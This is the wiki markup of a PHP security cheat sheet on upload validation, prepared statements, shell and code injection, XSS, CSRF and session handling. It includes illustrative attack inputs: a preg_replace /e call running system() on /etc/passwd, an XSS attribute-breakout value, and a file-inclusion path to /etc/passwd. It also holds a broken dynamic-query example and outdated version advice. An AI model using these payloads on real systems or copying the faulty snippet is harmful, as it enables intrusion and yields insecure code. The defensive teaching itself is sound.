==File uploads==&lt;br /&gt;
&lt;br /&gt;
Files received from a user pose various security threats, especially if other users can download these files. In particular:&lt;br /&gt;
&lt;br /&gt;
* Any file served as HTML can be used to do an XSS attack&lt;br /&gt;
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.&lt;br /&gt;
&lt;br /&gt;
Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.&lt;br /&gt;
&lt;br /&gt;
==Common mistakes on the processing of $_FILES array==&lt;br /&gt;
It is common to find code snippets online doing something similar to the following code:&lt;br /&gt;
&lt;br /&gt;
    if ($_FILES['some_name']['type'] == 'image/jpeg') {  &lt;br /&gt;
        //Proceed to accept the file as a valid image&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.&lt;br /&gt;
&lt;br /&gt;
    $finfo = new finfo(FILEINFO_MIME_TYPE);&lt;br /&gt;
    $fileContents = file_get_contents($_FILES['some_name']['tmp_name']);&lt;br /&gt;
    $mimeType = $finfo-&amp;gt;buffer($fileContents);&lt;br /&gt;
&lt;br /&gt;
Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.&lt;br /&gt;
&lt;br /&gt;
==Use of $_REQUEST==&lt;br /&gt;
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.&lt;br /&gt;
&lt;br /&gt;
=Database Cheat Sheet=&lt;br /&gt;
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:&lt;br /&gt;
&lt;br /&gt;
==Never concatenate or interpolate data in SQL==&lt;br /&gt;
&lt;br /&gt;
Never build up a string of SQL that includes user data, either by concatenation:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '&amp;quot; . $username . &amp;quot;';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
or interpolation, which is essentially the same:&lt;br /&gt;
&lt;br /&gt;
    $sql = &amp;quot;SELECT * FROM users WHERE username = '$username';&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.&lt;br /&gt;
&lt;br /&gt;
==Escaping is not safe== &lt;br /&gt;
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.&lt;br /&gt;
&lt;br /&gt;
'''Why:'''&lt;br /&gt;
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).&lt;br /&gt;
&lt;br /&gt;
==Use Prepared Statements==&lt;br /&gt;
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====MySQLi Prepared Statements Wrapper====&lt;br /&gt;
The following function, performs a SQL query, returns its results as a 2D array (if query was SELECT) and does all that with prepared statements using MySQLi fast MySQL interface:&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;num_rows) {&lt;br /&gt;
                $out = array();&lt;br /&gt;
                while (null != ($r = $result-&amp;gt;fetch_array(MYSQLI_ASSOC)))&lt;br /&gt;
                    $out [] = $r;&lt;br /&gt;
                return $out;&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query))&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: &amp;quot; . $DB-&amp;gt;error . &amp;quot;&amp;quot;);&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            //the following three lines are the only way to copy an array values in PHP&lt;br /&gt;
            $a = array();&lt;br /&gt;
            foreach ($args as $k =&amp;gt; &amp;amp;$v)&lt;br /&gt;
                $a[$k] = &amp;amp;$v;&lt;br /&gt;
            $types = str_repeat(&amp;quot;s&amp;quot;, count($args)); //all params are strings, works well on MySQL and SQLite&lt;br /&gt;
            array_unshift($a, $types);&lt;br /&gt;
            call_user_func_array(array($stmt, 'bind_param'), $a);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            //fetching all results in a 2D array&lt;br /&gt;
            $metadata = $stmt-&amp;gt;result_metadata();&lt;br /&gt;
            $out = array();&lt;br /&gt;
            $fields = array();&lt;br /&gt;
            if (!$metadata)&lt;br /&gt;
                return null;&lt;br /&gt;
            $length = 0;&lt;br /&gt;
            while (null != ($field = mysqli_fetch_field($metadata))) {&lt;br /&gt;
                $fields [] = &amp;amp;$out [$field-&amp;gt;name];&lt;br /&gt;
                $length+=$field-&amp;gt;length;&lt;br /&gt;
            }&lt;br /&gt;
            call_user_func_array(array(&lt;br /&gt;
                $stmt, &amp;quot;bind_result&amp;quot;&lt;br /&gt;
                    ), $fields);&lt;br /&gt;
            $output = array();&lt;br /&gt;
            $count = 0;&lt;br /&gt;
            while ($stmt-&amp;gt;fetch()) {&lt;br /&gt;
                foreach ($out as $k =&amp;gt; $v)&lt;br /&gt;
                    $output [$count] [$k] = $v;&lt;br /&gt;
                $count++;&lt;br /&gt;
            }&lt;br /&gt;
            $stmt-&amp;gt;free_result();&lt;br /&gt;
            return ($count == 0) ? null : $output;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
Now you could do your every query like the example below:&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT ?&amp;quot; , 5 , &amp;quot;Username&amp;quot; , 2);&lt;br /&gt;
&lt;br /&gt;
Every instance of ? is bound with an argument of the list, not ''replaced'' with it. MySQL 5.5+ supports ? as ORDER BY and LIMIT clause specifiers. If you're using a database that doesn't support them, see next section.&lt;br /&gt;
&lt;br /&gt;
'''REMEMBER:''' When you use this approach, you should ''NEVER'' concat strings for a SQL query.&lt;br /&gt;
&lt;br /&gt;
====PDO Prepared Statement Wrapper====&lt;br /&gt;
The following function, does the same thing as the above function but using PDO. You can use it with every PDO supported driver.&lt;br /&gt;
&lt;br /&gt;
    try {&lt;br /&gt;
        $DB = new PDO(&amp;quot;{$Driver}:dbname={$DatabaseName};host={$Host};&amp;quot;, $Username, $Password);&lt;br /&gt;
    } catch (Exception $e) {&lt;br /&gt;
        trigger_error(&amp;quot;PDO connection error: &amp;quot; . $e-&amp;gt;getMessage());&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    function SQL($Query) {&lt;br /&gt;
        global $DB;&lt;br /&gt;
        $args = func_get_args();&lt;br /&gt;
        if (count($args) == 1) {&lt;br /&gt;
            $result = $DB-&amp;gt;query($Query);&lt;br /&gt;
            if ($result-&amp;gt;rowCount()) {&lt;br /&gt;
                return $result-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
            }&lt;br /&gt;
            return null;&lt;br /&gt;
        } else {&lt;br /&gt;
            if (!$stmt = $DB-&amp;gt;prepare($Query)) {&lt;br /&gt;
                $Error = $DB-&amp;gt;errorInfo();&lt;br /&gt;
                trigger_error(&amp;quot;Unable to prepare statement: {$Query}, reason: {$Error[2]}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            array_shift($args); //remove $Query from args&lt;br /&gt;
            $i = 0;&lt;br /&gt;
            foreach ($args as &amp;amp;$v)&lt;br /&gt;
                $stmt-&amp;gt;bindValue(++$i, $v);&lt;br /&gt;
            $stmt-&amp;gt;execute();&lt;br /&gt;
            return $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
 $res=SQL(&amp;quot;SELECT * FROM users WHERE ID&amp;gt;? ORDER BY ? ASC LIMIT 5&amp;quot; , 5 , &amp;quot;Username&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
===Where prepared statements do not work===&lt;br /&gt;
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you need to do two things:&lt;br /&gt;
&lt;br /&gt;
====Not Supported Fields====&lt;br /&gt;
When some field does not support binding (like LIMIT clause in PDO), you need to '''whitelist''' the data you're about to use. LIMIT always requires an integer, so cast the variable to an integer. ORDER BY needs a field name, so whitelist it with field names:&lt;br /&gt;
&lt;br /&gt;
    function whitelist($Needle,$Haystack)&lt;br /&gt;
    {&lt;br /&gt;
       if (!in_array($Needle,$Haystack))&lt;br /&gt;
          return reset($Haystack); //first element&lt;br /&gt;
       return $Needle;&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    $Limit = $_GET['lim'];&lt;br /&gt;
    $Limit = $Limit * 1; //type cast, integers are safe&lt;br /&gt;
&lt;br /&gt;
    $Order = $_GET['sort'];&lt;br /&gt;
    $Order=whitelist($Order,Array(&amp;quot;ID&amp;quot;,&amp;quot;Username&amp;quot;,&amp;quot;Password&amp;quot;));&lt;br /&gt;
&lt;br /&gt;
This is very important. If you think you're tired and you rather blacklist than whitelist, you’re bound to fail.&lt;br /&gt;
&lt;br /&gt;
====Dynamic Queries====&lt;br /&gt;
Now this is a highly delicate situation. Whenever hackers fail to injection SQL in your common application scenarios, they go for Advanced Search features or similars, because those features rely on dynamic queries and dynamic queries are almost always insecurely implemented.&lt;br /&gt;
&lt;br /&gt;
When you're building a dynamic query, the only way is whitelisting. Whitelist every field name, every boolean operator (it should be OR or AND, nothing else) and after building your query, use prepared statements:&lt;br /&gt;
&lt;br /&gt;
    $Query=&amp;quot;SELECT * FROM table WHERE &amp;quot;;&lt;br /&gt;
    foreach ($_GET['fields'] as $g)&lt;br /&gt;
        $Query.=whitelist($g,Array(&amp;quot;list&amp;quot;,&amp;quot;of&amp;quot;,&amp;quot;possible&amp;quot;,&amp;quot;fields&amp;quot;,&amp;quot;here&amp;quot;)).&amp;quot;=?&amp;quot;;&lt;br /&gt;
    $Values=$_GET['values'];&lt;br /&gt;
    array_unshift($Query); //add to the beginning&lt;br /&gt;
    $res=call_user_func_array(SQL, $Values);&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==ORM==&lt;br /&gt;
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.&lt;br /&gt;
&lt;br /&gt;
==Encoding Issues==&lt;br /&gt;
&lt;br /&gt;
===Use UTF-8 unless necessary===&lt;br /&gt;
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.&lt;br /&gt;
&lt;br /&gt;
    $DB = new mysqli($Host, $Username, $Password, $DatabaseName);&lt;br /&gt;
    if (mysqli_connect_errno())&lt;br /&gt;
        trigger_error(&amp;quot;Unable to connect to MySQLi database.&amp;quot;);&lt;br /&gt;
    $DB-&amp;gt;set_charset('UTF-8');&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Other Injection Cheat Sheet=&lt;br /&gt;
SQL aside, there are a few more injections possible ''and common'' in PHP:&lt;br /&gt;
&lt;br /&gt;
==Shell Injection==&lt;br /&gt;
A few PHP functions namely&lt;br /&gt;
&lt;br /&gt;
* shell_exec&lt;br /&gt;
* exec&lt;br /&gt;
* passthru&lt;br /&gt;
* system&lt;br /&gt;
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )&lt;br /&gt;
&lt;br /&gt;
run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.&lt;br /&gt;
&lt;br /&gt;
Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you. &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Code Injection==&lt;br /&gt;
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().&lt;br /&gt;
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.&lt;br /&gt;
&lt;br /&gt;
Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].&lt;br /&gt;
&lt;br /&gt;
    preg_replace(&amp;quot;/.*/e&amp;quot;,&amp;quot;system('echo /etc/passwd')&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.&lt;br /&gt;
 &lt;br /&gt;
==Other Injections==&lt;br /&gt;
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=XSS Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
There are two scenarios when it comes to XSS, each one to be mitigated accordingly:&lt;br /&gt;
&lt;br /&gt;
== No Tags ==&lt;br /&gt;
&lt;br /&gt;
Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.&lt;br /&gt;
&lt;br /&gt;
If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.&lt;br /&gt;
&lt;br /&gt;
Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.&lt;br /&gt;
&lt;br /&gt;
If you cannot switch to a secure template engine, you can use the function below on all untrusted data.&lt;br /&gt;
&lt;br /&gt;
'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.&lt;br /&gt;
&lt;br /&gt;
 //xss mitigation functions&lt;br /&gt;
 function xssafe($data,$encoding='UTF-8')&lt;br /&gt;
 {&lt;br /&gt;
    return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);&lt;br /&gt;
 }&lt;br /&gt;
 function xecho($data)&lt;br /&gt;
 {&lt;br /&gt;
    echo xssafe($data);&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
 //usage example&lt;br /&gt;
 &amp;lt;input type='text' name='test' value='&amp;lt;?php &lt;br /&gt;
 xecho (&amp;quot;' onclick='alert(1)&amp;quot;);&lt;br /&gt;
 ?&amp;gt;' /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Untrusted Tags==&lt;br /&gt;
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.&lt;br /&gt;
&lt;br /&gt;
==Templating engines==&lt;br /&gt;
&lt;br /&gt;
There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.&lt;br /&gt;
&lt;br /&gt;
Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.&lt;br /&gt;
&lt;br /&gt;
==Other Tips==&lt;br /&gt;
&lt;br /&gt;
* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.&lt;br /&gt;
&lt;br /&gt;
* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)&lt;br /&gt;
&lt;br /&gt;
* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.&lt;br /&gt;
&lt;br /&gt;
* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
=CSRF Cheat Sheet=&lt;br /&gt;
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:&lt;br /&gt;
&lt;br /&gt;
* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.&lt;br /&gt;
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.&lt;br /&gt;
&lt;br /&gt;
The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version  would be available (hopefully). For now, mix that with the following tips:&lt;br /&gt;
&lt;br /&gt;
* Use re-authentication for critical operations (change password, recovery email, etc.)&lt;br /&gt;
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)&lt;br /&gt;
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.&lt;br /&gt;
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.&lt;br /&gt;
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.&lt;br /&gt;
&lt;br /&gt;
=Authentication and Session Management Cheat Sheet=&lt;br /&gt;
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:&lt;br /&gt;
 &lt;br /&gt;
==Session Management==&lt;br /&gt;
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:&lt;br /&gt;
&lt;br /&gt;
* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.&lt;br /&gt;
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).&lt;br /&gt;
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.&lt;br /&gt;
&lt;br /&gt;
===Session Hijacking Prevention===&lt;br /&gt;
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.&lt;br /&gt;
&lt;br /&gt;
To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:&lt;br /&gt;
&lt;br /&gt;
 $IP = getenv ( &amp;quot;REMOTE_ADDR&amp;quot; );&lt;br /&gt;
&lt;br /&gt;
Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic.  Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )&lt;br /&gt;
&lt;br /&gt;
===Invalidate Session ID===&lt;br /&gt;
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).&lt;br /&gt;
&lt;br /&gt;
===Rolling of Session ID===&lt;br /&gt;
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.&lt;br /&gt;
&lt;br /&gt;
===Exposed Session ID===&lt;br /&gt;
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.&lt;br /&gt;
&lt;br /&gt;
Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.&lt;br /&gt;
&lt;br /&gt;
===Session Fixation===&lt;br /&gt;
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].&lt;br /&gt;
&lt;br /&gt;
===Session Expiration===&lt;br /&gt;
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.&lt;br /&gt;
&lt;br /&gt;
Also keep the '''log out''' button close, and unset all traces of the session on log out.&lt;br /&gt;
&lt;br /&gt;
====Inactivity Timeout====&lt;br /&gt;
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria. &lt;br /&gt;
&lt;br /&gt;
This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.&lt;br /&gt;
&lt;br /&gt;
====General Timeout====&lt;br /&gt;
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Cookies===&lt;br /&gt;
Handling cookies in a PHP script has some tricks to it:&lt;br /&gt;
&lt;br /&gt;
====Never Serialize====&lt;br /&gt;
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.&lt;br /&gt;
&lt;br /&gt;
====Proper Deletion====&lt;br /&gt;
To delete a cookie safely, use the following snippet:&lt;br /&gt;
&lt;br /&gt;
 setcookie ($name, &amp;quot;&amp;quot;, 1);&lt;br /&gt;
 setcookie ($name, false);&lt;br /&gt;
 unset($_COOKIE[$name]);&lt;br /&gt;
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.&lt;br /&gt;
&lt;br /&gt;
You can also use '''session_name()''' to retrieve the name default PHP session cookie.&lt;br /&gt;
&lt;br /&gt;
====HTTP Only====&lt;br /&gt;
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.&lt;br /&gt;
&lt;br /&gt;
To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):&lt;br /&gt;
 &lt;br /&gt;
 #prototype&lt;br /&gt;
 bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
 #usage&lt;br /&gt;
 if (!setcookie(&amp;quot;MySessionID&amp;quot;, $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))&lt;br /&gt;
     echo (&amp;quot;could not set HTTP-only cookie&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:&lt;br /&gt;
&lt;br /&gt;
 $r=setcookie(&amp;quot;SECSESSID&amp;quot;,&amp;quot;1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973&amp;quot;,time()+60*60*24*7 /*a week*/,&amp;quot;/&amp;quot;,&amp;quot;owasp.org&amp;quot;,true,true);&lt;br /&gt;
 if (!$r) die(&amp;quot;Could not set session cookie.&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
====Internet Explorer issues====&lt;br /&gt;
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.&lt;br /&gt;
&lt;br /&gt;
==Authentication==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Remember Me===&lt;br /&gt;
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.&lt;br /&gt;
&lt;br /&gt;
It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.&lt;br /&gt;
&lt;br /&gt;
* '''Never store username/password or any relevant information in the cookie.'''&lt;br /&gt;
&lt;br /&gt;
=File Inclusion Cheat Sheet=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Configuration and Deployment Cheat Sheet=&lt;br /&gt;
Please see [[PHP Configuration Cheat Sheet]].&lt;br /&gt;
&lt;br /&gt;
=Sources of Taint=&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= OLD. PHP General Guidelines for Secure Web Applications  =&lt;br /&gt;
&lt;br /&gt;
== PHP Version ==&lt;br /&gt;
Use '''PHP 5.3.8'''. Stable versions are always safer then the beta ones. &lt;br /&gt;
&lt;br /&gt;
== Framework==&lt;br /&gt;
Use a framework like '''Zend''' or '''Symfony'''. Try not to re-write the code again and again. Also avoid dead codes. &lt;br /&gt;
&lt;br /&gt;
== Directory==&lt;br /&gt;
Code with most of your code outside of the webroot. This is automatic for Symfony and Zend. Stick to these frameworks. &lt;br /&gt;
&lt;br /&gt;
== Hashing Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Extension ==&lt;br /&gt;
Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.&lt;br /&gt;
&lt;br /&gt;
== Authentication and Authorization ==&lt;br /&gt;
There is no authentication or authorization classes in native PHP. Use '''ZF''' or '''Symfony''' instead.&lt;br /&gt;
&lt;br /&gt;
== Input nput validation ==&lt;br /&gt;
Use $_dirty['foo'] = $_GET['foo'] and then $foo = validate_foo($dirty['foo']); &lt;br /&gt;
&lt;br /&gt;
== Use PDO or ORM ==&lt;br /&gt;
Use PDO with prepared statements or an ORM like Doctrine&lt;br /&gt;
&lt;br /&gt;
== Use PHP Unit and Jenkins ==&lt;br /&gt;
When developing PHP code, make sure you develop with PHP Unit and Jenkins - see http://qualityassuranceinphpprojects.com/pages/tools.html for more details.&lt;br /&gt;
&lt;br /&gt;
== Use Stefan Esser's Hardened PHP Patch ==&lt;br /&gt;
Consider using Stefan Esser's Hardened PHP patch - http://www.hardened-php.net/suhosin/index.html &lt;br /&gt;
(not maintained now, but the concepts are very powerful)&lt;br /&gt;
&lt;br /&gt;
== Avoid Global Variables==&lt;br /&gt;
In terms of secure coding with PHP, do not use globals unless absolutely necessary &lt;br /&gt;
Check your php.ini to ensure register_globals is off Do not run at all with this setting enabled It's extremely dangerous (register_globals has been disabled since 5.0 / 2006, but .... most PHP 4 code needs it, so many hosters have it turned on)&lt;br /&gt;
&lt;br /&gt;
== Protection against RFI==&lt;br /&gt;
Ensure allow_url_fopen and allow_url_include are both disabled to protect against RFI  But don't cause issues by using the pattern include $user_supplied_data or require &amp;quot;base&amp;quot; + $user_supplied_data - it's just unsafe as you can input /etc/passwd and PHP will try to include it&lt;br /&gt;
&lt;br /&gt;
== Regexes (!)==&lt;br /&gt;
Watch for executable regexes (!) &lt;br /&gt;
&lt;br /&gt;
== Session Rotation ==&lt;br /&gt;
Session rotation is very easy - just after authentication, plonk in session_regenerate_id() and you‘re done.&lt;br /&gt;
&lt;br /&gt;
== Be aware of PHP filters ==&lt;br /&gt;
